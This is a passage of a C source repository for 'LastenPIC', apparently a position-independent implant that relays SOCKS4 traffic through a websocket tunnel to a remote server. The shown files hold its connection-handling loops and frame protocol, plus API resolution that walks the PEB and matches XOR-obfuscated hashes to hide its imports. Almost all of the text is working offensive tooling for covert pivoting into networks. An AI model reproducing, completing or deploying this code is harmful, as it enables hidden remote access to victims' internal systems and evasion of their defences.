| unsigned long 223 | unicode_djb2(const wchar_t* str) 224 | { 225 | 226 | unsigned long hash = 5381; 227 | DWORD val; 228 | 229 | while (*str != 0) { 230 | val = (DWORD)*str++; 231 | hash = ((hash << 5) + hash) + val; 232 | } 233 | 234 | return hash; 235 | 236 | } 237 | 238 | unsigned long 239 | xor_hash(unsigned long hash) { 240 | return hash ^ CRYPT_KEY; 241 | } 242 | 243 | static WCHAR* 244 | toLower(WCHAR *str) 245 | { 246 | 247 | WCHAR* start = str; 248 | 249 | while (*str) { 250 | 251 | if (*str <= L'Z' && *str >= 'A') { 252 | *str += 32; 253 | } 254 | 255 | str += 1; 256 | 257 | } 258 | 259 | return start; 260 | 261 | } 262 | -------------------------------------------------------------------------------- /LastenPIC/src/ApiResolve.h: -------------------------------------------------------------------------------- 1 | #ifndef _APIRESOLVE_H 2 | #define _APIRESOLVE_H 3 | 4 | #include 5 | #include "windows.h" 6 | #include "windns.h" 7 | #include "winhttp.h" 8 | 9 | #define FAIL 0 10 | #define SUCCESS 1 11 | #define CRYPT_KEY 0x41424344 12 | 13 | uint64_t getFunctionPtr(unsigned long, unsigned long); 14 | 15 | // ---- KERNEL32 ---- 16 | #define CRYPTED_HASH_KERNEL32 0x3102ad31 17 | #define CRYPTED_HASH_CLOSEHANDLE 0x79328943 18 | #define CRYPTED_HASH_LOADLIBRARYA 0x1efdb3bf 19 | #define CRYTPED_HASH_VIRTUALALLOC 0x796e4cd3 20 | #define CRYPTED_HASH_LSTRLENA 0x9386e84e 21 | #define CRYPTED_HASH_LSTRLENW 0x9386e864 22 | #define CRYPTED_HASH_VIRTUALFREE 0x27cd8c6a 23 | #define CRYPTED_HASH_COPYMEMORY 0x14d8cfcf 24 | #define CRYPTED_HASH_CREATETHREAD 0x3e4ab715 25 | #define CRYPTED_HASH_WAITFORSINGLEOBJECT 0xad8fe2fe 26 | 27 | typedef HANDLE(WINAPI* CREATETHREAD)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); 28 | typedef BOOL(WINAPI* CLOSEHANDLE)(HANDLE); 29 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); 30 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); 31 | typedef int(WINAPI* LSTRLENA)(LPCSTR); 32 | typedef int(WINAPI* LSTRLENW)(LPCWSTR); 33 | typedef BOOL(WINAPI* VIRTUALFREE)(LPVOID, SIZE_T, DWORD); 34 | typedef void(WINAPI* COPYMEMORY)(PVOID, void*, SIZE_T); 35 | typedef DWORD(WINAPI* WAITFORSINGLEOBJECT)(HANDLE, DWORD); 36 | 37 | // ---- ws_32.dll ---- 38 | #define CRYPTED_HASH_WS32 0xdb93484b 39 | #define CRYPTED_HASH_CONNECT 0x92340e8b 40 | #define CRYPTED_HASH_SOCKET 0x5d73406a 41 | #define CRYPTED_HASH_CLOSESOCKET 0x80ef240 42 | #define CRYPTED_HASH_IOCTLSOCKET 0x479e954d 43 | #define CRYPTED_HASH_SEND 0x3ddf980b 44 | #define CRYPTED_HASH_RECV 0x3ddf0ed1 45 | #define CRYPTED_HASH_SELECT 0x5ac2a081 46 | #define CRYPTED_HASH_WSAFDISSET 0x9037d084 47 | 48 | typedef int(WINAPI* _SOCKET)(int, int, int); 49 | typedef int(WINAPI* CONNECT)(SOCKET, const SOCKADDR_IN*, int); 50 | typedef int(WINAPI* CLOSESOCKET)(SOCKET); 51 | typedef int(WINAPI* IOCTLSOCKET)(SOCKET, long, u_long*); 52 | typedef int(WINAPI* SEND)(SOCKET, const char*, int, int); 53 | typedef int(WINAPI* RECV)(SOCKET, char*, int, int); 54 | typedef int(WINAPI* SELECT)(int, fd_set*, fd_set*, fd_set*, const struct timeval*); 55 | typedef int(WINAPI* WSAFDISSET)(SOCKET, fd_set*); 56 | 57 | 58 | // ---- shlwapi.dll ---- 59 | #define CRYPTED_HASH_SHLWAPI 0xe64fd763 60 | #define CRYPTED_HASH_STRSTRA 0x4ef4617c 61 | 62 | typedef PCSTR(WINAPI* STRSTRA)(PCSTR, PCSTR); 63 | 64 | // ---- Dnsapi.dll ---- 65 | #define CRYPTED_HASH_DNSAPI 0xee63266a 66 | #define CRYPTED_HASH_DNSQUERYA 0xaa46e0c4 67 | 68 | typedef DNS_STATUS(WINAPI* DNSQUERY_A)(PCSTR, WORD, DWORD, PVOID, PDNS_RECORD*, PVOID*); 69 | 70 | // ---- Winhttp.dll ---- 71 | #define CRYPTED_HASH_WINHTTP 0xd34c7039 72 | #define CRYPTED_HASH_WINHTTPCLOSEHANDLE 0x77604f91 73 | #define CRYPTED_HASH_WINHTTPCONNECT 0x33008239 74 | #define CRYPTED_HASH_WINHTTPOPEN 0x1f0d7aa1 75 | #define CRYPTED_HASH_WINHTTPOPENREQUEST 0xabf5fa8a 76 | #define CRYPTED_HASH_WINHTTPRECEIVERESPONSE 0x552e0a61 77 | #define CRYPTED_HASH_WINHTTPSENDREQUEST 0xf0c1b9e2 78 | #define CRYPTED_HASH_WINHTTPSETOPTION 0xe0c9d7bc 79 | #define CRYPTED_HASH_WEBSOCKETCLOSE 0xc86413d4 80 | #define CRYPTED_HASH_WINHTTPWEBSOCKETCOMPLETEUPGRADE 0x44cb6a9f 81 | #define CRYPTED_HASH_WINHTTPWEBSOCKETRECEIVE 0x9c3337f9 82 | #define CRYPTED_HASH_WINHTTPWEBSOCKETSEND 0x3025da0 83 | #define CRYPTED_HASH_WINHTTPWEBSOCKETSHUTDOWN 0xc8984a32 84 | 85 | #ifdef __MINGW32__ 86 | 87 | //typedef enum _WINHTTP_WEB_SOCKET_BUFFER_TYPE { 88 | // WINHTTP_WEB_SOCKET_BINARY_MESSAGE_BUFFER_TYPE, 89 | // WINHTTP_WEB_SOCKET_BINARY_FRAGMENT_BUFFER_TYPE, 90 | // WINHTTP_WEB_SOCKET_UTF8_MESSAGE_BUFFER_TYPE, 91 | // WINHTTP_WEB_SOCKET_UTF8_FRAGMENT_BUFFER_TYPE, 92 | // WINHTTP_WEB_SOCKET_CLOSE_BUFFER_TYPE 93 | //} WINHTTP_WEB_SOCKET_BUFFER_TYPE; 94 | // 95 | //typedef enum _WINHTTP_WEB_SOCKET_CLOSE_STATUS { 96 | // WINHTTP_WEB_SOCKET_SUCCESS_CLOSE_STATUS, 97 | // WINHTTP_WEB_SOCKET_ENDPOINT_TERMINATED_CLOSE_STATUS, 98 | // WINHTTP_WEB_SOCKET_PROTOCOL_ERROR_CLOSE_STATUS, 99 | // WINHTTP_WEB_SOCKET_INVALID_DATA_TYPE_CLOSE_STATUS, 100 | // WINHTTP_WEB_SOCKET_EMPTY_CLOSE_STATUS, 101 | // WINHTTP_WEB_SOCKET_ABORTED_CLOSE_STATUS, 102 | // WINHTTP_WEB_SOCKET_INVALID_PAYLOAD_CLOSE_STATUS, 103 | // WINHTTP_WEB_SOCKET_POLICY_VIOLATION_CLOSE_STATUS, 104 | // WINHTTP_WEB_SOCKET_MESSAGE_TOO_BIG_CLOSE_STATUS, 105 | // WINHTTP_WEB_SOCKET_UNSUPPORTED_EXTENSIONS_CLOSE_STATUS, 106 | // WINHTTP_WEB_SOCKET_SERVER_ERROR_CLOSE_STATUS, 107 | // WINHTTP_WEB_SOCKET_SECURE_HANDSHAKE_ERROR_CLOSE_STATUS 108 | //} WINHTTP_WEB_SOCKET_CLOSE_STATUS; 109 | 110 | #define WINHTTP_OPTION_UPGRADE_TO_WEB_SOCKET 114 111 | #endif 112 | 113 | typedef BOOL(WINAPI* WINHTTPCLOSEHANDLE)(HINTERNET); 114 | typedef HINTERNET(WINAPI* WINHTTPCONNECT)(HINTERNET, LPCWSTR, INTERNET_PORT, DWORD); 115 | typedef HINTERNET(WINAPI* WINHTTPOPEN)(LPCWSTR, DWORD, LPCWSTR, LPCWSTR, DWORD); 116 | typedef HINTERNET(WINAPI* WINHTTPOPENREQUEST)(HINTERNET, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR*, DWORD); 117 | typedef BOOL(WINAPI* WINHTTPRECEIVERESPONSE)(HINTERNET, LPVOID); 118 | typedef BOOL(WINAPI* WINHTTPSENDREQUEST)(HINTERNET, LPCWSTR, DWORD, LPVOID, DWORD, DWORD, DWORD_PTR); 119 | typedef BOOL(WINAPI* WINHTTPSETOPTION)(HINTERNET, DWORD, LPVOID, DWORD); 120 | typedef DWORD(WINAPI* WINHTTPWEBSOCKETCLOSE)(HINTERNET, USHORT, PVOID, DWORD); 121 | typedef HINTERNET(WINAPI* WINHTTPWEBSOCKETCOMPLETEUPGRADE)(HINTERNET, DWORD_PTR); 122 | typedef DWORD(WINAPI* WINHTTPWEBSOCKETRECEIVE)(HINTERNET, PVOID, DWORD, DWORD*, WINHTTP_WEB_SOCKET_BUFFER_TYPE*); 123 | typedef DWORD(WINAPI* WINHTTPWEBSOCKETSEND)(HINTERNET, WINHTTP_WEB_SOCKET_BUFFER_TYPE, PVOID, DWORD); 124 | typedef DWORD(WINAPI* WINHTTPWEBSOCKETSHUTDOWN)(HINTERNET, USHORT, PVOID, DWORD); 125 | 126 | typedef struct _UNICODE_STR { 127 | USHORT Length; 128 | USHORT MaximumLength; 129 | PWSTR pBuffer; 130 | } UNICODE_STR, * PUNICODE_STR; 131 | 132 | typedef struct _PEB_LDR_DATA 133 | { 134 | DWORD dwLength; 135 | DWORD dwInitialized; 136 | LPVOID lpSsHandle; 137 | LIST_ENTRY InLoadOrderModuleList; 138 | LIST_ENTRY InMemoryOrderModuleList; 139 | LIST_ENTRY InInitializationOrderModuleList; 140 | LPVOID lpEntryInProgress; 141 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 142 | 143 | typedef struct _LDR_DATA_TABLE_ENTRY 144 | { 145 | LIST_ENTRY InMemoryOrderModuleList; 146 | LIST_ENTRY InInitializationOrderModuleList; 147 | PVOID DllBase; 148 | PVOID EntryPoint; 149 | ULONG SizeOfImage; 150 | UNICODE_STR FullDllName; 151 | UNICODE_STR BaseDllName; 152 | ULONG Flags; 153 | SHORT LoadCount; 154 | SHORT TlsIndex; 155 | LIST_ENTRY HashTableEntry; 156 | ULONG TimeDateStamp; 157 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 158 | 159 | typedef struct _PEB_FREE_BLOCK 160 | { 161 | struct _PEB_FREE_BLOCK* pNext; 162 | DWORD dwSize; 163 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 164 | 165 | typedef struct __PEB 166 | { 167 | BYTE bInheritedAddressSpace; 168 | BYTE bReadImageFileExecOptions; 169 | BYTE bBeingDebugged; 170 | BYTE bSpareBool; 171 | LPVOID lpMutant; 172 | LPVOID lpImageBaseAddress; 173 | PPEB_LDR_DATA pLdr; 174 | LPVOID lpProcessParameters; 175 | LPVOID lpSubSystemData; 176 | LPVOID lpProcessHeap; 177 | PRTL_CRITICAL_SECTION pFastPebLock; 178 | LPVOID lpFastPebLockRoutine; 179 | LPVOID lpFastPebUnlockRoutine; 180 | DWORD dwEnvironmentUpdateCount; 181 | LPVOID lpKernelCallbackTable; 182 | DWORD dwSystemReserved; 183 | DWORD dwAtlThunkSListPtr32; 184 | PPEB_FREE_BLOCK pFreeList; 185 | DWORD dwTlsExpansionCounter; 186 | LPVOID lpTlsBitmap; 187 | DWORD dwTlsBitmapBits[2]; 188 | LPVOID lpReadOnlySharedMemoryBase; 189 | LPVOID lpReadOnlySharedMemoryHeap; 190 | LPVOID lpReadOnlyStaticServerData; 191 | LPVOID lpAnsiCodePageData; 192 | LPVOID lpOemCodePageData; 193 | LPVOID lpUnicodeCaseTableData; 194 | DWORD dwNumberOfProcessors; 195 | DWORD dwNtGlobalFlag; 196 | LARGE_INTEGER liCriticalSectionTimeout; 197 | DWORD dwHeapSegmentReserve; 198 | DWORD dwHeapSegmentCommit; 199 | DWORD dwHeapDeCommitTotalFreeThreshold; 200 | DWORD dwHeapDeCommitFreeBlockThreshold; 201 | DWORD dwNumberOfHeaps; 202 | DWORD dwMaximumNumberOfHeaps; 203 | LPVOID lpProcessHeaps; 204 | LPVOID lpGdiSharedHandleTable; 205 | LPVOID lpProcessStarterHelper; 206 | DWORD dwGdiDCAttributeList; 207 | LPVOID lpLoaderLock; 208 | DWORD dwOSMajorVersion; 209 | DWORD dwOSMinorVersion; 210 | WORD wOSBuildNumber; 211 | WORD wOSCSDVersion; 212 | DWORD dwOSPlatformId; 213 | DWORD dwImageSubsystem; 214 | DWORD dwImageSubsystemMajorVersion; 215 | DWORD dwImageSubsystemMinorVersion; 216 | DWORD dwImageProcessAffinityMask; 217 | DWORD dwGdiHandleBuffer[34]; 218 | LPVOID lpPostProcessInitRoutine; 219 | LPVOID lpTlsExpansionBitmap; 220 | DWORD dwTlsExpansionBitmapBits[32]; 221 | DWORD dwSessionId; 222 | ULARGE_INTEGER liAppCompatFlags; 223 | ULARGE_INTEGER liAppCompatFlagsUser; 224 | LPVOID lppShimData; 225 | LPVOID lpAppCompatInfo; 226 | UNICODE_STR usCSDVersion; 227 | LPVOID lpActivationContextData; 228 | LPVOID lpProcessAssemblyStorageMap; 229 | LPVOID lpSystemDefaultActivationContextData; 230 | LPVOID lpSystemAssemblyStorageMap; 231 | DWORD dwMinimumStackCommit; 232 | } _PEB, * _PPEB; 233 | 234 | #endif 235 | -------------------------------------------------------------------------------- /LastenPIC/src/Core.c: -------------------------------------------------------------------------------- 1 | #include "Core.h" 2 | 3 | DWORD inLoop(LastenPIC * pLastenPIC) { 4 | 5 | DWORD dwSuccess = FAIL, dwLenFrame = 0; 6 | LastenFrame* pLastenFrameIn = NULL, * pLastenFrameOut = NULL; 7 | 8 | pLastenFrameIn = pLastenPIC->fPointers._VirtualAlloc(0, sizeof(LastenFrame), MEM_COMMIT, PAGE_READWRITE); 9 | if (pLastenFrameIn == NULL) 10 | goto exit; 11 | 12 | pLastenFrameOut = pLastenPIC->fPointers._VirtualAlloc(0, sizeof(LastenFrame), MEM_COMMIT, PAGE_READWRITE); 13 | if (pLastenFrameOut == NULL) 14 | goto exit; 15 | 16 | while ( 1 ) { 17 | 18 | dwSuccess = readLastenFrame(pLastenPIC, pLastenFrameIn, &dwLenFrame); 19 | if (dwSuccess == FAIL) 20 | goto exit; 21 | 22 | handleLastenFrame(pLastenPIC, pLastenFrameIn, pLastenFrameOut); 23 | 24 | } 25 | 26 | dwSuccess = SUCCESS; 27 | 28 | exit: 29 | 30 | pLastenPIC->bContinue = FALSE; 31 | 32 | if (pLastenFrameIn) 33 | pLastenPIC->fPointers._VirtualFree(pLastenFrameIn, 0, MEM_RELEASE); 34 | 35 | return dwSuccess; 36 | 37 | } 38 | 39 | void handleLastenFrame(LastenPIC* pLastenPIC, LastenFrame* pFrameIn, LastenFrame *pFrameOut) { 40 | 41 | SOCKET socket = 0; 42 | 43 | socket = getSocksConn(pLastenPIC, pFrameIn->session, &socket); 44 | if (socket == 0) 45 | handleNewConn(pLastenPIC, pFrameIn, pFrameOut); 46 | else if (pFrameIn->command == CMD_SEND) { 47 | handleSend(pLastenPIC, pFrameIn, pFrameOut); 48 | } else if (pFrameIn->command == CMD_STOP) { 49 | handleStopConn(pLastenPIC, pFrameIn->session); 50 | } 51 | 52 | } 53 | 54 | void handleSend(LastenPIC* pLastenPIC, LastenFrame* pFrameIn, LastenFrame* pFrameOut) { 55 | 56 | SOCKET socket = 0; 57 | DWORD dwSuccess = FAIL; 58 | int rv = 0; 59 | 60 | dwSuccess = getSocksConn(pLastenPIC, pFrameIn->session, &socket); 61 | if (dwSuccess == 0) 62 | goto exit; 63 | 64 | rv = pLastenPIC->fPointers._send(socket, (const char*)pFrameIn->message, (int)pFrameIn->message_len, 0); 65 | if (rv == SOCKET_ERROR) 66 | goto exit; 67 | 68 | dwSuccess = SUCCESS; 69 | 70 | exit: 71 | 72 | if (dwSuccess == FAIL) { 73 | 74 | handleStopConn(pLastenPIC, pFrameIn->session); 75 | 76 | pFrameOut->session = pFrameIn->session; 77 | pFrameOut->command = CMD_STOP; 78 | pFrameOut->message_len = 1; 79 | 80 | sendLastenFrame(pLastenPIC, pFrameOut); 81 | 82 | } 83 | 84 | return; 85 | 86 | } 87 | 88 | 89 | #pragma GCC push_options 90 | #pragma GCC optimize ("O0") 91 | void handleStopConn(LastenPIC* pLastenPIC, uint64_t id) { 92 | 93 | SOCKET socket = 0; 94 | DWORD dwSuccess = 0x00; 95 | 96 | dwSuccess = getSocksConn(pLastenPIC, id, &socket); 97 | if (dwSuccess == 0) 98 | goto exit; 99 | 100 | for (int i = 0; i < MAX_CONNECTIONS; i++) { 101 | if (pLastenPIC->ids[i] == id) { 102 | 103 | FD_CLR(socket, &pLastenPIC->master_set); 104 | 105 | pLastenPIC->ids[i] = 0; 106 | pLastenPIC->sockets[i] = 0; 107 | pLastenPIC->numConnections--; 108 | 109 | break; 110 | 111 | } 112 | } 113 | 114 | pLastenPIC->fPointers._Closesocket(socket); 115 | 116 | 117 | exit: 118 | 119 | return; 120 | 121 | } 122 | #pragma GCC pop_options 123 | 124 | void handleNewConn(LastenPIC* pLastenPIC, LastenFrame *pFrameIn, LastenFrame* pFrameOut) { 125 | 126 | DWORD dwSuccess = FAIL; 127 | SOCKET socket = 0; 128 | SocksConnectReplyFrame socksConnectReplyFrame = { 0x00 }; 129 | 130 | if (pLastenPIC->numConnections == MAX_CONNECTIONS) 131 | goto exit; 132 | 133 | dwSuccess = newSocksConn(pLastenPIC, (SocksConnectFrame*)pFrameIn->message, &socket, &socksConnectReplyFrame); 134 | if (dwSuccess == FAIL) 135 | goto exit; 136 | 137 | for (int i = 0; i < MAX_CONNECTIONS; i++) { 138 | if (pLastenPIC->ids[i] == 0) { 139 | 140 | pLastenPIC->ids[i] = pFrameIn->session; 141 | pLastenPIC->sockets[i] = socket; 142 | FD_SET(socket, &pLastenPIC->master_set); 143 | pLastenPIC->numConnections++; 144 | 145 | break; 146 | } 147 | } 148 | 149 | exit: 150 | 151 | pFrameOut->session = pFrameIn->session; 152 | pFrameOut->command = (dwSuccess == FAIL) ? CMD_STOP : CMD_SEND; 153 | pLastenPIC->fPointers._CopyMemory(pFrameOut->message, &socksConnectReplyFrame, sizeof(SocksConnectFrame)); 154 | pFrameOut->message_len = sizeof(SocksConnectReplyFrame); 155 | 156 | sendLastenFrame(pLastenPIC, pFrameOut); 157 | 158 | return; 159 | 160 | } 161 | 162 | DWORD getSocksConn(LastenPIC* pLastenPIC, uint64_t id, SOCKET* pSocksConn) { 163 | 164 | DWORD dwSuccess = FAIL; 165 | 166 | for (int i = 0; i < MAX_CONNECTIONS; i++) { 167 | if (pLastenPIC->ids[i] == id) { 168 | *pSocksConn = pLastenPIC->sockets[i]; 169 | dwSuccess = SUCCESS; 170 | break; 171 | } 172 | } 173 | 174 | return dwSuccess; 175 | 176 | } 177 | 178 | void outLoop(LastenPIC* pLastenPIC) { 179 | 180 | int ret = 0, i = 0; 181 | SOCKET s = 0; 182 | 183 | LastenFrame* pFrameOut = NULL; 184 | FD_SET working_set = { 0 }; 185 | struct timeval tv; 186 | tv.tv_sec = 1; 187 | 188 | pFrameOut = pLastenPIC->fPointers._VirtualAlloc(0, sizeof(LastenFrame), MEM_COMMIT, PAGE_READWRITE); 189 | if (pFrameOut == NULL) 190 | goto exit; 191 | 192 | while ( pLastenPIC->bContinue ) { 193 | 194 | for (uint32_t i = 0; i < sizeof(struct timeval); i++) { 195 | *((uint8_t*)(&tv) + i) = 0x00; 196 | } 197 | 198 | tv.tv_sec = 1; 199 | 200 | pLastenPIC->fPointers._CopyMemory(&working_set, &pLastenPIC->master_set, sizeof(pLastenPIC->master_set)); 201 | 202 | ret = pLastenPIC->fPointers._select(0, &working_set, NULL, NULL, &tv); 203 | if (ret <= 0) 204 | continue; 205 | 206 | for (i = 0; i < MAX_CONNECTIONS; i++) { 207 | 208 | if (pLastenPIC->ids[i] == 0 || pLastenPIC->sockets[i] == 0) 209 | continue; 210 | 211 | s = pLastenPIC->sockets[i]; 212 | 213 | if (pLastenPIC->fPointers._wsafdisset(s, &working_set)) { 214 | 215 | for (uint32_t i = 0; i < sizeof(LastenFrame); i++){ 216 | *((uint8_t*)(pFrameOut) + i) = 0x00; 217 | } 218 | 219 | pFrameOut->session = pLastenPIC->ids[i]; 220 | 221 | ret = pLastenPIC->fPointers._recv(s, (char*)pFrameOut->message, MAX_MESSAGE - 200, 0); 222 | if (ret <= 0) { 223 | 224 | handleStopConn(pLastenPIC, pLastenPIC->ids[i]); 225 | 226 | pFrameOut->command = CMD_STOP; 227 | pFrameOut->message_len = 1; 228 | 229 | sendLastenFrame(pLastenPIC, pFrameOut); 230 | 231 | } else if (ret > 0) { 232 | 233 | pFrameOut->message_len = ret; 234 | pFrameOut->command = CMD_SEND; 235 | 236 | sendLastenFrame(pLastenPIC, pFrameOut); 237 | 238 | } 239 | } 240 | } 241 | } 242 | 243 | 244 | exit: 245 | 246 | if (pFrameOut) 247 | pLastenPIC->fPointers._VirtualFree(pFrameOut, 0, MEM_RELEASE); 248 | 249 | return; 250 | 251 | } 252 | -------------------------------------------------------------------------------- /LastenPIC/src/Core.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "windows.h" 4 | #include "winhttp.h" 5 | 6 | #include "Defines.h" 7 | #include "Socks4.h" 8 | #include "WS.h" 9 | 10 | DWORD inLoop(LastenPIC*); 11 | void outLoop(LastenPIC*); 12 | 13 | DWORD getSocksConn(LastenPIC*, uint64_t, SOCKET*); 14 | void handleNewConn(LastenPIC*, LastenFrame* ptr_frame_in, LastenFrame*); 15 | void handleLastenFrame(LastenPIC*, LastenFrame*, LastenFrame*); 16 | void handleSend(LastenPIC*, LastenFrame*, LastenFrame*); 17 | void handleStopConn(LastenPIC*, uint64_t); 18 | -------------------------------------------------------------------------------- /LastenPIC/src/Defines.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "stdint.h" 4 | #include "winhttp.h" 5 | 6 | #include "ApiResolve.h" 7 | 8 | // --- Generisches Zeugs ---- 9 | 10 | #define FAIL 0 11 | #define SUCCESS 1 12 | 13 | #define MAX_CONNECTIONS 250 14 | 15 | // --- Lastenzug Definitionen --- 16 | 17 | #define MAX_MESSAGE 100000 18 | 19 | #define CMD_SEND 1 20 | #define CMD_STOP 2 21 | 22 | typedef struct { 23 | uint64_t session; 24 | uint64_t command; 25 | uint64_t message_len; 26 | uint8_t message[MAX_MESSAGE]; 27 | } LastenFrame; 28 | 29 | 30 | // --- Andere Strukturen --- 31 | 32 | typedef struct { 33 | 34 | CLOSEHANDLE _CloseHandle; 35 | CLOSESOCKET _Closesocket; 36 | CONNECT _Connect; 37 | COPYMEMORY _CopyMemory; 38 | CREATETHREAD _CreateThread; 39 | DNSQUERY_A _DnsQuery_A; 40 | LSTRLENA _lstrlenA; 41 | LSTRLENW _lstrlenW; 42 | IOCTLSOCKET _ioctlsocket; 43 | SEND _send; 44 | SELECT _select; 45 | RECV _recv; 46 | _SOCKET _socket; 47 | VIRTUALALLOC _VirtualAlloc; 48 | VIRTUALFREE _VirtualFree; 49 | WAITFORSINGLEOBJECT _WaitForSingleObject; 50 | WINHTTPCLOSEHANDLE _WinHttpCloseHandle; 51 | WINHTTPCONNECT _WinHttpConnect; 52 | WINHTTPOPEN _WinHttpOpen; 53 | WINHTTPOPENREQUEST _WinHttpOpenRequest; 54 | WINHTTPRECEIVERESPONSE _WinHttpReceiveResponse; 55 | WINHTTPSENDREQUEST _WinHttpSendRequest; 56 | WINHTTPSETOPTION _WinHttpSetOption; 57 | WINHTTPWEBSOCKETCLOSE _WinHttpWebSocketClose; 58 | WINHTTPWEBSOCKETCOMPLETEUPGRADE _WinHttpWebSocketCompleteUpgrade; 59 | WINHTTPWEBSOCKETRECEIVE _WinHttpWebSocketReceive; 60 | WINHTTPWEBSOCKETSEND _WinHttpWebSocketSend; 61 | WINHTTPWEBSOCKETSHUTDOWN _WinHttpWebSocketShutdown; 62 | WSAFDISSET _wsafdisset; 63 | 64 | } fPointers; 65 | 66 | typedef struct { 67 | 68 | HINTERNET hWebSocket; 69 | FD_SET master_set; 70 | BOOL bContinue; 71 | fPointers fPointers; 72 | wchar_t* wServerName; 73 | wchar_t* wPath; 74 | INTERNET_PORT port; 75 | 76 | uint32_t numConnections; 77 | uint64_t ids[MAX_CONNECTIONS]; 78 | SOCKET sockets[MAX_CONNECTIONS]; 79 | 80 | }LastenPIC; 81 | 82 | 83 | typedef DWORD(GO)(wchar_t* w_proxy, wchar_t* w_path, DWORD port, char* ptr_username, char* ptr_proxy); 84 | -------------------------------------------------------------------------------- /LastenPIC/src/Main.c: -------------------------------------------------------------------------------- 1 | #include "windows.h" 2 | 3 | #include "ApiResolve.h" 4 | #include "Core.h" 5 | #include "Defines.h" 6 | #include "Misc.h" 7 | #include "WS.h" 8 | 9 | void wrapOutLoop(LastenPIC *ptr_lastenPIC); 10 | 11 | DWORD 12 | lastenzug(wchar_t* wServerName, PWSTR wPath, DWORD port, PWSTR proxy, PWSTR pUserName, PWSTR pPassword) { 13 | 14 | DWORD dwSuccess = FAIL; 15 | HANDLE hThreadOutLoop = NULL; 16 | 17 | LastenPIC lastenPIC = { 0x00 }; 18 | 19 | lastenPIC.bContinue = TRUE; 20 | FD_ZERO(&lastenPIC.master_set); 21 | 22 | dwSuccess = resolveFPointers(&lastenPIC.fPointers); 23 | if (dwSuccess == FAIL) 24 | goto exit; 25 | 26 | lastenPIC.wServerName = wServerName; 27 | lastenPIC.port = port; 28 | lastenPIC.wPath = wPath; 29 | 30 | dwSuccess = initWS(&lastenPIC, proxy, pUserName, pPassword); 31 | if (dwSuccess == FAIL) 32 | goto exit; 33 | 34 | hThreadOutLoop = lastenPIC.fPointers._CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wrapOutLoop, &lastenPIC, 0, NULL); 35 | if (hThreadOutLoop == NULL) 36 | goto exit; 37 | 38 | dwSuccess = inLoop(&lastenPIC); 39 | if (dwSuccess == FAIL) 40 | goto exit; 41 | 42 | dwSuccess = SUCCESS; 43 | 44 | exit: 45 | 46 | lastenPIC.bContinue = FALSE; 47 | wsClose(&lastenPIC); 48 | 49 | for (int i = 0; i < MAX_CONNECTIONS; i++) { 50 | if (lastenPIC.sockets[i]) 51 | lastenPIC.fPointers._Closesocket(lastenPIC.sockets[i]); 52 | } 53 | 54 | if(hThreadOutLoop) 55 | lastenPIC.fPointers._WaitForSingleObject(hThreadOutLoop, INFINITE); 56 | 57 | if(hThreadOutLoop) 58 | lastenPIC.fPointers._CloseHandle(hThreadOutLoop); 59 | 60 | return dwSuccess; 61 | 62 | } 63 | 64 | void wrapOutLoop(LastenPIC *ptr_lastenPIC) { 65 | outLoop(ptr_lastenPIC); 66 | } 67 | -------------------------------------------------------------------------------- /LastenPIC/src/Misc.h: -------------------------------------------------------------------------------- 1 | #include "stdint.h" 2 | #include "windows.h" 3 | 4 | DWORD resolveFPointers(fPointers* ptr_fpointers) { 5 | 6 | if ((ptr_fpointers->_CloseHandle = (CLOSEHANDLE)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_CLOSEHANDLE ) ) == 0x00 ) return FAIL; 7 | if ((ptr_fpointers->_Closesocket = (CLOSESOCKET)getFunctionPtr(CRYPTED_HASH_WS32, CRYPTED_HASH_CLOSESOCKET ) ) == 0x00 ) return FAIL; 8 | if ((ptr_fpointers->_Connect = (CONNECT)getFunctionPtr(CRYPTED_HASH_WS32, CRYPTED_HASH_CONNECT ) ) == 0x00) return FAIL; 9 | if ((ptr_fpointers->_CopyMemory = (COPYMEMORY)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_COPYMEMORY ) ) == 0x00) return FAIL; 10 | if ((ptr_fpointers->_CreateThread = (CREATETHREAD)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_CREATETHREAD)) == 0x00) return FAIL; 11 | if ((ptr_fpointers->_DnsQuery_A = (DNSQUERY_A)getFunctionPtr(CRYPTED_HASH_DNSAPI, CRYPTED_HASH_DNSQUERYA)) == 0x00) return FAIL; 12 | if ((ptr_fpointers->_ioctlsocket = (IOCTLSOCKET)getFunctionPtr(CRYPTED_HASH_WS32, CRYPTED_HASH_IOCTLSOCKET)) == 0x00) return FAIL; 13 | if ((ptr_fpointers->_socket = (_SOCKET)getFunctionPtr(CRYPTED_HASH_WS32, CRYPTED_HASH_SOCKET)) == 0x00) return FAIL; 14 | if ((ptr_fpointers->_VirtualAlloc = (VIRTUALALLOC)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYTPED_HASH_VIRTUALALLOC)) == 0x00) return FAIL; 15 | if ((ptr_fpointers->_VirtualFree = (VIRTUALFREE)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_VIRTUALFREE)) == 0x00) return FAIL; 16 | if ((ptr_fpointers->_WaitForSingleObject = (WAITFORSINGLEOBJECT)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_WAITFORSINGLEOBJECT)) == 0x00) return FAIL; 17 | if ((ptr_fpointers->_WinHttpCloseHandle = (WINHTTPCLOSEHANDLE)getFunctionPtr(CRYPTED_HASH_WINHTTP, CRYPTED_HASH_WINHTTPCLOSEHANDLE)) == 0x00) return FAIL; 18 | if ((ptr_fpointers->_WinHttpConnect = (WINHTTPCONNECT)getFunctionPtr(CRYPTED_HASH_WINHTTP, CRYPTED_HASH_WINHTTPCONNECT)) == 0x00) return FAIL; 19 | if ((ptr_fpointers->_WinHttpOpen = (WINHTTPOPEN)getFunctionPtr(CRYPTED_HASH_WINHTTP, 